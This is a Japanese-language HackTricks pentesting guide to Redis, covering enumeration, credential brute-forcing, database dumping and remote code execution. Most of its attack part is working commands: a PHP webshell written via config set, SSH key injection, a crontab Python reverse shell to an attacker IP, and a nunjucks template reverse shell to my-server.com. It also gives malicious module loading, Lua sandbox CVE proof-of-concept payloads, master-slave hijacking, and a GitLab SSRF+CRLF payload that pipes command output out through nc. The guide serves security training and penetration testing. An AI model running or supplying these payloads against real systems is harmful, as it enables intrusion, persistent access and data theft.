6379 - Pentesting Redis
Reading time: 22 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
From the docs: Redis はオープンソース(BSD licensed)のインメモリ データ構造ストア で、データベース、キャッシュ、メッセージブローカーとして使用されます。
デフォルトでは Redis はプレーンテキストベースのプロトコルを使用しますが、ssl/tls を実装できることに注意してください。 Learn how to run Redis with ssl/tls here.
既定のポート: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
自動列挙
redis インスタンスから情報を取得するのに役立ついくつかの自動化ツール:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
手動列挙
バナー
Redisはテキストベースのプロトコルで、ソケットにコマンドを送信するだけで返ってくる値を読み取れます。 また、Redisはssl/tlsを使用して動作することがあることを覚えておいてください(ただしこれは非常に珍しいです)。
通常のRedisインスタンスでは、ncを使って接続するか、redis-cliを使うこともできます:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
あなたが試すことができる最初のコマンドは**info**です。Redis インスタンスの情報を含む出力を返すことがあります。またはそのような以下のような出力が返されます:
-NOAUTH Authentication required.
In this last case, this means that you need valid credentials to access the Redis instance.
Redis 認証
デフォルトでは Redis は 認証情報なしで アクセスできます。ただし、設定により パスワードのみ、またはユーザー名+パスワード を要求するようにできます。
redis.conf ファイルの requirepass パラメータで パスワードを設定 できるほか、サービスが再起動するまで一時的に接続して config set requirepass p@ss$12E45 を実行して設定することもできます。
また、redis.conf ファイル内の masteruser パラメータで ユーザー名 を設定できます。
tip
パスワードのみが設定されている場合に使用されるユーザー名は "default" です。
また、Redis がパスワードのみで設定されているか、ユーザー名+パスワードで設定されているかを外部から判定する方法は ありません。
このような場合、Redis とやり取りするには 有効な認証情報を見つける必要があります。したがって brute-force を試すことができます。
有効な認証情報を見つけた場合は、接続を確立した後にセッションを認証する必要があります。コマンド:
AUTH <username> <password>
Valid credentials は +OK と応答されます。
認証済みの列挙
Redis サーバーが anonymous connections を許可している、または有効な資格情報を取得している場合、次の commands を使用してサービスの列挙プロセスを開始できます:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
その他の Redis コマンド can be found here and here.
注意:インスタンスの Redis コマンドは名前が変更されたり または redis.conf ファイルで削除されたりすることがあります。例えばこの行はコマンド FLUSHDB を削除します:
rename-command FLUSHDB ""
Redis サービスを安全に構成する方法の詳細はこちら: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
また、実行される Redis コマンドをリアルタイムで監視するにはコマンド monitor を使用し、上位の 25件の最も遅いクエリ は slowlog get 25 で取得できます
Redis のコマンドに関するさらに興味深い情報はここ: https://lzone.de/cheat-sheet/Redis
Dumping Database
Redis 内では、データベースは0から始まる番号です。info コマンドの出力内の "Keyspace" セクションで、どのデータベースが使用されているか確認できます:
.png)
または、すべての keyspaces(データベース)を次のコマンドで取得できます:
INFO keyspace
その例では database 0 and 1 が使用されています。Database 0 contains 4 keys and database 1 contains 1。デフォルトでは Redis は database 0 を使用します。例えば database 1 を dump するには、次のようにします:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
GET <KEY> を実行しているときに次のエラー -WRONGTYPE Operation against a key holding the wrong kind of value が出る場合、キーが文字列や整数以外の型であり、表示するには専用のオペレーターが必要であることを意味します。
キーの型を調べるには TYPE コマンドを使用してください。以下は list と hash のキーの例です。
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
npmでデータベースをダンプ redis-dump またはpython redis-utils
Redis RCE
Interactive Shell
redis-rogue-server は Redis(<=5.0.5) で自動的に interactive shell や reverse shell を取得できます。
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
情報は here. Webサイトフォルダのパスを知っている必要があります:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
If the webshell access exception, you can empty the database after backup and try again, remember to restore the database.
テンプレート Webshell
前のセクションと同様に、テンプレートエンジンによって解釈されるhtmlテンプレートファイルを上書きしてshellを取得することもできます。
For example, following this writeup, you can see that the attacker injected a rev shell in an html interpreted by the nunjucks template engine:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
warning
テンプレートエンジンの多くはテンプレートをメモリにキャッシュするため、上書きしても新しいテンプレートが実行されないことがあります。この場合、開発者が自動リロードを有効にしているか、サービスに対してDoSを行って(自動で再起動されることを期待して)対処する必要があります。
SSH
注意:config get dir の結果は他の手動での exploit コマンドの後に変更されることがあります。Redis にログインした直後に最初に実行することを推奨します。config get dir の出力には redisユーザー の ホームディレクトリ(通常 /var/lib/redis や /home/redis/.ssh)が見つかることがあり、これが分かれば authenticated_users ファイルをどこに書けば ssh で redis ユーザー としてアクセスできるかが分かります。書き込み権限のある他の有効なユーザーのホームが分かっていれば、それも悪用できます:
- PCで SSH の公開鍵・秘密鍵ペアを生成する:
ssh-keygen -t rsa - 公開鍵をファイルに書き込む:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt - そのファイルを redis にインポート:
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key - 公開鍵を redis サーバーの authorized_keys ファイルに保存:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- 最後に、秘密鍵で redis サーバー に ssh できる: ssh -i id_rsa redis@10.85.0.52
この手法は以下で自動化されています: https://github.com/Avinash-acid/Redis-Server-Exploit
さらに、config set dir /home/USER で確認することでシステムユーザーを発見でき、確認できたら新しい authorized_keys を /home/USER/.ssh/authorized_keys に書き込めます。ユーザー名のワードリストでこれをブルートフォースし authorized_keys を上書きするには redis-rce-ssh を使ってください。
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
The last example is for Ubuntu, for Centos, the above command should be: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
This method can also be used to earn bitcoin :yam
Redisモジュールのロード
- Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can Redis module をコンパイルして任意のコマンドを実行できるようにする。
- 次に、コンパイルしたモジュールをアップロードする方法が必要です。
- 実行時に
MODULE LOAD /path/to/mymodule.soでアップロードしたモジュールをロードします。 - 正しくロードされたか確認するために ロードされたモジュールを一覧表示:
MODULE LIST - コマンドを実行:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- 必要に応じてモジュールをアンロード:
MODULE UNLOAD mymodule
LUA サンドボックスのバイパス
Here では Redis がコマンド EVAL を使って Lua コードをサンドボックス内で実行していることが確認できます。リンク先の投稿では dofile 関数を使ってどのように悪用するかが示されていますが、apparently これはもはや不可能のようです。いずれにせよ、Lua サンドボックスをバイパスできれば、システム上で任意のコマンドを実行することが可能になります。また、同じ投稿から DoS を引き起こすいくつかの手法も確認できます。
Some CVEs to escape from LUA:
Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)
Recent Redis releases fixed multiple issues in the embedded Lua engine that allow sandbox escape, memory corruption and cross-user code execution. These techniques apply when:
- 攻撃者が Redis に認証でき、Lua が有効になっている場合(EVAL/EVALSHA または FUNCTION が利用可能)
- Redis のバージョンが 8.2.2、8.0.4、7.4.6、7.2.11、または 6.2.20 より古い場合
Tip: If you are new to Lua sandboxing tricks, check this page for general techniques:
Patch-level context:
- Fixed in: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
- 影響を受けるのは Lua スクリプトが有効で、上記バージョンが適用されていない場合
CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (lparser.c: luaY_parser)
- 概要: パーサーが挿入直後の TString を参照している間にガベージコレクション (GC) を強制します。GC がそれを回収すると、パーサーが解放済みポインタを使用する(Use-After-Free, UAF)→ クラッシュ/DoS、および場合によっては Lua サンドボックス外でのネイティブコード実行につながる可能性があります。
- トリガー戦略:
- 巨大な文字列でメモリプレッシャーを作り、GC 活動を促す
- 大きなソースチャンクがコンパイルされている間に明示的に GC を実行する
- GC がパースと同期するまで、非常に大きな Lua スクリプトをループでコンパイルする
Minimal EVAL harness to reproduce crashes
# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0
注記:
- GCをluaY_parserに合わせるには複数回の試行が必要な場合があります。crashはUAFが発生したことを示します。
- exploitationからRCEに移行するには、Redis Lua sandboxの範囲を超えたmemory groomingとnative code pivotingが必要です。
CVE-2025-46817 — unpackにおける整数オーバーフロー (lbaselib.c: luaB_unpack)
- 根本原因:カウント
n = e - i + 1がunsignedキャストなしで計算されるため、極端なインデックスでラップし、Luaが存在する要素より遥かに多くをunpackしようとする → スタック破損とメモリ枯渇。 - PoC (DoS/mem exhaustion):
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
- サーバーは膨大な数の値を返そうとして最終的にクラッシュまたはOOMになることが予想されます。
CVE-2025-46818 — Cross-user privilege escalation via basic type metatables
- Root cause: エンジン初期化時に、基本型(例: strings, booleans)のmetatablesがread-onlyに設定されていませんでした。認証済みの任意のユーザーがそれらを汚染して、後で他のユーザーが呼び出す可能性のあるメソッドを注入できます。
- 例 (string metatable poisoning):
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput
- 影響: Lua サンドボックス内で被害者の Redis 権限を使用してクロスユーザーのコード実行。Redis ACL コンテキスト内での lateral movement / priv-esc に有用。
マスター・スレーブ モジュール
master redis の全操作は自動的に slave redis に同期されるため、脆弱な redis を slave redis と見なし、我々が制御する master redis に接続されていると考えることができる。そうすれば、自分の redis に対してコマンドを送信できる。
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRFでRedisと通信
もし clear text リクエストを Redisへ 送信できれば、Redisはリクエストを行ごとに読み取り、理解できない行にはエラーで応答するだけなので、それと通信できます:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
したがって、Webサイトで SSRF vuln を見つけ、control できる headers(CRLF vuln を利用して制御するなど)や POST parameters があれば、Redis に任意のコマンドを送信できるようになります。
例: Gitlab SSRF + CRLF to Shell
Gitlab11.4.7 には SSRF 脆弱性と CRLF が発見されました。SSRF 脆弱性は新規プロジェクト作成時の import project from URL functionality にあり、[0:0:0:0:0:ffff:127.0.0.1] のような形式で任意のIP(この例では127.0.0.1)にアクセスできました。また CRLF 脆弱性は URL に %0D%0A を追加するだけで悪用できました。
したがって、これらの脆弱性を悪用して abuse these vulnerabilities to talk to the Redis instance that manages queues from gitlab とし、これらのキューを悪用して obtain code execution を達成することが可能でした。Redis キュー悪用のペイロードは:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
そして URL encode リクエスト、abusing SSRF と CRLF を使って whoami を実行し、出力を nc 経由で送り返すリクエストは次の通りです:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
なぜか(この情報の出典である https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ の作者の場合もそうであったように)攻撃は git スキームでは成功したが http スキームでは成功しなかった。
参考
- Recent Vulnerabilities in Redis Server’s Lua Scripting Engine (OffSec)
- NVD: CVE-2025-49844
- NVD: CVE-2025-46817
- NVD: CVE-2025-46818
- Wiz analysis of Redis RCE (CVE-2025-49844)
- PoC: CVE-2025-49844 — Lua parser UAF
- PoC: CVE-2025-46817 — unpack integer overflow
- PoC: CVE-2025-46818 — basic-type metatable abuse
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks